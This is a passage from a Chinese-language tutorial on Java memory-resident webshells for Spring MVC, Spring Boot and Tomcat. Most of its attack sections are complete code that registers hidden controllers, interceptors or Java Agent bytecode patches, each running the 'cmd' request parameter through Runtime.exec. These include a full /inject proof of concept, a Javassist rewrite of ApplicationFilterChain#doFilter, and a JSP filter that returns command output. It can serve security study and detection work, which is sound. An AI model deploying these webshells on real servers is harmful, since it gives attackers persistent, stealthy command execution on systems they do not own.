        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        r.registerMapping(info, new Controller_Shell(), method);

    }

    public class Controller_Shell{

        public Controller_Shell(){}

        public void shell() throws IOException {

            //获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }

}

首先访问/control路由,由于Controller默认会将结果交给View处理,返回值通常会被解析成一个页面路径,所以这里会报404错误。我们可以使用@ResponeBody来将Controller的方法返回的对象,通过适当的HttpMessageConverter转换为指定格式后,写入到Response对象的body数据区。

然后访问我们定义恶意Controller的路由/shell

Interceptor型内存马

什么是Interceptor

Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。

在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。

  • 通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
  • 通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义

Interceptor示例

这里我们选择继承HandlerInterceptor接口来实现一个Interceptor。HandlerInterceptor接口有三个方法,如下

  • preHandle:该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
  • postHandle:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
  • afterCompletion:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
package com.shell.interceptor;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

public class Spring_Interceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String url = request.getRequestURI();
        PrintWriter writer = response.getWriter();
        //如果请求路径为/login则放行
        if ( url.indexOf("/login") >= 0){
            writer.write("LoginIn");
            writer.flush();
            writer.close();
            return true;
        }
        writer.write("LoginInFirst");
        writer.flush();
        writer.close();
        return false;
    }
}

在springmvc.xml配置文件中配置相应的Interceptor

...
<mvc:interceptors>
        <mvc:interceptor>
            <mvc:mapping path="/*"/>
            <bean class="com.shell.interceptor.Spring_Interceptor"/>
        </mvc:interceptor>
</mvc:interceptors>
...

编写对应的Controller

package com.shell.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class Spring_Controller {

    @ResponseBody
    @RequestMapping("/login")
    public String Login(){
        return "Success!";
    }
}

访问对应路径

request调用流程

我们首先来探究一下,当一个Request发送到Spring应用时,是如何一步步到达业务逻辑处理层Controller的。

在ApplicationFilterChain#internalDoFilter处下一个断点,可以看到此时的调用栈是和启动Tomcat时相同的

但与Tomcat不同的是,当调用到HttpServlet#service时,最终会调用DispatcherServlet#doDispatch进行逻辑处理,这正是Spring的逻辑处理核心类。

doDispatch:1028, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)

...

跟进到getHandler方法

    protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
        if (this.handlerMappings != null) {
            for (HandlerMapping mapping : this.handlerMappings) {
                HandlerExecutionChain handler = mapping.getHandler(request);
                if (handler != null) {
                    return handler;
                }
            }
        }
        return null;
    }

在 getHandler 方法中,会通过遍历 this.handlerMappings 来获取 HandlerMapping 对象实例 mapping

而getHandler实际上会调用org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例

跟进AbstractHandlerMapping#getHandlerExecutionChain

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
		HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
				(HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

		for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
			if (interceptor instanceof MappedInterceptor) {
				MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
				if (mappedInterceptor.matches(request)) {
					chain.addInterceptor(mappedInterceptor.getInterceptor());
				}
			}
			else {
				chain.addInterceptor(interceptor);
			}
		}
		return chain;
	}

可以看到其通过adaptedInterceptors获取所有Interceptor后进行遍历,其中可以看见一个我们自己定义的Interceptor

然后通过chain.addInterceptor()将所有Interceptor添加到HandlerExecutionChain中。最后返回到DispatcherServlet#doDispatch()中,调用mappedHandler.applyPreHandle方法

boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
		for (int i = 0; i < this.interceptorList.size(); i++) {
			HandlerInterceptor interceptor = this.interceptorList.get(i);
			if (!interceptor.preHandle(request, response, this.handler)) {
				triggerAfterCompletion(request, response, null);
				return false;
			}
			this.interceptorIndex = i;
		}
		return true;
	}

然后遍历调用Interceptor中的preHandle()拦截方法。

因此当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层

HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller

Interceptor型内存马实现思路

通过以上分析,Interceptor实际上是可以拦截所有想到达Controller的请求的。下面的问题就是如何动态地注册一个恶意的Interceptor了。由于Interceptor和Filter有一定的相似之处,因此我们可以仿照Filter型内存马的实现思路

  • 获取当前运行环境的上下文
  • 实现恶意Interceptor
  • 注入恶意Interceptor

获取环境上下文

在Controller型内存马中,给出了四种获取Spring上下文ApplicationContext的方法。下面我们还可以通过反射获取LiveBeansView类的applicationContexts 属性来获取上下文。

// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

org.springframework.context.support.LiveBeansView 类在 spring-context 3.2.x 版本(现在最新版本是 5.3.x)才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext 的实例。

获取adaptedInterceptors属性值

获得 ApplicationContext 实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping 类实例的 bean name 叫什么。

我们可以通过ApplicationContext上下文来获取AbstractHandlerMapping,进而反射获取adaptedInterceptors属性值

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

实现恶意Interceptor

这里选择继承HandlerInterceptor类,并重写其preHandle方法

package com.shell.interceptor;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Shell_Interceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
            return true;
        }
        return false;
    }
}

动态注册Interceptor

我们知道Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors 属性值中就可以了。

//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);

完整POC

package com.shell.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
public class Inject_Shell_Interceptor_Controller {

    @ResponseBody
    @RequestMapping("/inject")
    public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        //获取上下文环境
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

        //获取adaptedInterceptors属性值
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);


        //将恶意Interceptor添加入adaptedInterceptors
        Shell_Interceptor shell_interceptor = new Shell_Interceptor();
        adaptedInterceptors.add(shell_interceptor);
    }

    public class Shell_Interceptor implements HandlerInterceptor{
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
                return true;
            }
            return false;
        }
    }
}

访问对应路由/inject

成功执行

Java Agent内存马

什么是Java Agent?

我们知道Java是一种强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。

实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?

对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图

premain-Agent
agentmain-Agent

Java Agent示例

premain-Agent

我们首先来实现一个简单的premain-Agent,创建一个Maven项目,编写一个简单的premain-Agent

package com.java.premain.agent;

import java.lang.instrument.Instrumentation;

public class Java_Agent_premain {
    public static void premain(String args, Instrumentation inst) {
        for (int i =0 ; i<10 ; i++){
            System.out.println("调用了premain-Agent!");
        }
    }
}

接着在resource/META-INF/下创建MANIFEST.MF清单文件用以指定premain-Agent的启动类

Manifest-Version: 1.0
Premain-Class: com.java.premain.agent.Java_Agent_premain

将其打包成jar文件

创建一个目标类

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}

添加JVM Options(注意冒号之后不能有空格)

-javaagent:"out/artifacts/Java_Agent_jar/Java_Agent.jar"

运行结果如下

agentmain-Agent

相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和JVM有关的两个类。

VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。

该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法

//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()
VirtualMachineDescriptor类

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class get_PID {
    public static void main(String[] args) {
        
        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            
            //遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
            if(vmd.displayName().equals("get_PID"))
            System.out.println(vmd.id());
        }

    }
}


##
4908

Process finished with exit code 0

下面我们就来实现一个agentmain-Agent。首先我们编写一个Sleep_Hello类,模拟正在运行的JVM

import static java.lang.Thread.sleep;

public class Sleep_Hello {
    public static void main(String[] args) throws InterruptedException {
        while (true){
            System.out.println("Hello World!");
            sleep(5000);
        }
    }
}

然后编写我们的agentmain-Agent类

package com.java.agentmain.agent;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Java_Agent_agentmain {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
        while (true){
            System.out.println("调用了agentmain-Agent!");
            sleep(3000);
        }
    }
}

同时配置MANIFEST.MF文件

Manifest-Version: 1.0
Agent-Class: com.java.agentmain.agent.Java_Agent_agentmain

编译打包成jar文件out/artifacts/Java_Agent_jar/Java_Agent.jar

最后编写一个Inject_Agent类,获取特定JVM的PID并注入Agent

package com.java.inject;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){

            //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
            if(vmd.displayName().equals("Sleep_Hello")){

                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //加载Agent
                virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
                //断开JVM连接
                virtualMachine.detach();
            }

        }
    }
}

首先启动Sleep_Hello目标JVM

然后运行Inject_Agent类,注入Agent

Instrumentation

Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

其在Java中是一个接口,常用方法如下

public interface Instrumentation {
    
    //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

    //在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    //删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);


    //在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;



    //判断一个类是否被修改
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    //获取一个对象的大小
    long getObjectSize(Object objectToSize);

}
获取目标JVM已加载类

下面我们简单实现一个能够获取目标JVM已加载类的agentmain-Agent

package com.java.agentmain.instrumentation;

import java.lang.instrument.Instrumentation;

public class Java_Agent_agentmain_Instrumentation {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
        Class [] classes = inst.getAllLoadedClasses();

        for(Class cls : classes){
            System.out.println("------------------------------------------");
            System.out.println("加载类: "+cls.getName());
            System.out.println("是否可被修改: "+inst.isModifiableClass(cls));
        }
    }
}

注入目标进程,结果如下

Hello World!
Hello World!
------------------------------------------
加载类: com.java.agentmain.instrumentation.Java_Agent_agentmain_Instrumentation
是否可被修改: true
------------------------------------------
加载类: Sleep_Hello
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$1
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$Agent
是否可被修改: true

...
transform

在Instrumentation接口中,我们可以通过addTransformer()来添加一个transformer(转换器),关键属性就是ClassFileTransformer类。

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

ClassFileTransformer接口中只有一个transform()方法,返回值为字节数组,作为转换后的字节码注入到目标JVM中。

public interface ClassFileTransformer {

    /**
     * 类文件转换方法,重写transform方法可获取到待加载的类相关信息
     *
     * @param loader              定义要转换的类加载器;如果是引导加载器如Bootstrap ClassLoader,则为 null
     * @param className           完全限定类内部形式的类名称,格式如:java/lang/Runtime
     * @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
     * @param protectionDomain    要定义或重定义的类的保护域
     * @param classfileBuffer     类文件格式的输入字节缓冲区(不得修改)
     * @return 返回一个通过ASM修改后添加了防御代码的字节码byte数组。
     */
    
    byte[] transform(  ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer)
        throws IllegalClassFormatException;
}

在通过 addTransformer 注册一个transformer后,每次定义或者重定义新类都会调用transformer。所谓定义,即是通过ClassLoader.defineClass加载进来的类。而重定义是通过Instrumentation.redefineClasses方法重定义的类。

当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。

转换将按以下顺序应用:

  • 不可重转换转换器
  • 不可重转换本机转换器
  • 可重转换转换器
  • 可重转换本机转换器

至于transformer中对字节码的具体操作,则需要使用到Javassisit类。在这篇文章中,我已经介绍过了Javassist的用法。下面我就来修改一个正在运行JVM的字节码。

修改目标JVM的Class字节码

首先编写一个目标类com.sleep.hello.Sleep_Hello.java

package com.sleep.hello;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
    public static void main(String[] args) throws InterruptedException {
        while (true){
            hello();
            sleep(3000);
        }
    }

    public static void hello(){
        System.out.println("Hello World!");
    }
}

编写一个agentmain-Agent

package com.java.agentmain.instrumentation.transformer;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Java_Agent_agentmain_transform {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();

        //获取目标JVM加载的全部类
        for(Class cls : classes){
            if (cls.getName().equals("com.sleep.hello.Sleep_Hello")){

                //添加一个transformer到Instrumentation,并重新触发目标类加载
                inst.addTransformer(new Hello_Transform(),true);
                inst.retransformClasses(cls);
            }
        }
    }
}

继承ClassFileTransformer类编写一个transformer,修改对应类的字节码

package com.java.agentmain.instrumentation.transformer;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hello_Transform implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {

            //获取CtClass 对象的容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();

            //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }

            //获取目标类
            CtClass ctClass = classPool.get("com.sleep.hello.Sleep_Hello");

            //获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

            //设置方法体
            String body = "{System.out.println(\"Hacker!\");}";
            ctMethod.setBody(body);

            //返回目标类字节码
            byte[] bytes = ctClass.toBytecode();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

然后编写Inject_Agent类,将agentmain-Agent注入到目标JVM中

package com.java.inject;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){

            //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
            if(vmd.displayName().equals("com.sleep.hello.Sleep_Hello")){

                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //加载Agent
                virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
                //断开JVM连接
                virtualMachine.detach();
            }

        }
    }
}

注意这里使用到了tools.jar工具包,IDEA默认不会导入为lib,我们手动导入即可

然后将agentmain-Agent打为jar包,注意这里将tools和javassist依赖一并打包

Java_Agent.jar目录结构如下

首先运行目标类,然后运行Inject_Agent类,注入Agent

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:

premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是private static/final修饰的
  5. 可以修改方法体

Agent内存马

现在我们可以通过Java Agent技术来修改正在运行JVM中的方法体,那么我们可以Hook一些JVM一定会调用、并且Hook之后不会影响正常业务逻辑的的方法来实现内存马。

这里我们以Spring Boot为例,来实现一个Agent内存马

Spring Boot中的Tomcat

我们知道,Spring Boot中内嵌了一个embed Tomcat作为其启动容器。既然是Tomcat,那肯定有相应的组件容器。我们先来调试一下SpringBoot,部分调用栈如下

Context:20, Context_Learn (com.example.spring_controller)
...
(org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...

可以看到会按照责任链机制反复调用ApplicationFilterChain#doFilter()方法

public void doFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {

        if( Globals.IS_SECURITY_ENABLED ) {
            final ServletRequest req = request;
            final ServletResponse res = response;
            try {
                java.security.AccessController.doPrivileged(
                        (java.security.PrivilegedExceptionAction<Void>) () -> {
                            internalDoFilter(req,res);
                            return null;
                        }
                );
            } ...
            }
        } else {
            internalDoFilter(request,response);
        }
    }

跟到internalDoFilter()方法中

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ...
        }
}

以上两个方法均拥有ServletRequest和ServletResponse,并且hook不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用

利用Java Agent实现Spring Filter内存马

我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()方法,因此我们重写该方法即可

package com.java.agentmain.instrumentation.transformer;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Filter_Transform implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {

            //获取CtClass 对象的容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();

            //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }

            //获取目标类
            CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

            //获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

            //设置方法体
            String body = "{" +
                    "javax.servlet.http.HttpServletRequest request = $1\n;" +
                    "String cmd=request.getParameter(\"cmd\");\n" +
                    "if (cmd !=null){\n" +
                    "  Runtime.getRuntime().exec(cmd);\n" +
                    "  }"+
                    "}";
            ctMethod.setBody(body);

            //返回目标类字节码
            byte[] bytes = ctClass.toBytecode();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

Inject_Agent_Spring类如下

package com.java.inject;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent_Spring {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){

            //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
            if(vmd.displayName().equals("com.example.java_agent_springboot.JavaAgentSpringBootApplication")){

                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //加载Agent
                virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
                //断开JVM连接
                virtualMachine.detach();
            }
//            System.out.println(vmd.displayName());

        }
    }
}

启动一个简单的Spring Boot项目

运行Inject_Agent_Spring类,在doFilter方法中注入恶意代码,成功执行

内存马回显技术

所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象。

回显示例

这里我们以上文提到的Tomcat Filter内存马为例,获取对应的回显,关键代码如下

<%! public class Shell_Filter implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        if (cmd != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

                //将命令执行结果写入扫描器并读取所有输入
                Scanner scanner = new Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}
%>

上述方式我们是通过JSP文件来注入内存马的。由于JSP中内置了一些关键对象,所以我们能够很容易地获得Request和Response对象,并能通过他们来获取目标JVM的上下文Context。那如果我们要通过反序列化漏洞来注入内存马,又如何获取到目标JVM的request和response对象呢?

ThreadLocal Response回显

思路来自于@kingkk师傅

首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在org.apache.catalina.core.ApplicationFilterChain类中找到这样两个变量lastServicedRequestlastServicedResponse。并且这两个属性还是静态的,我们获取时无需实例化对象。

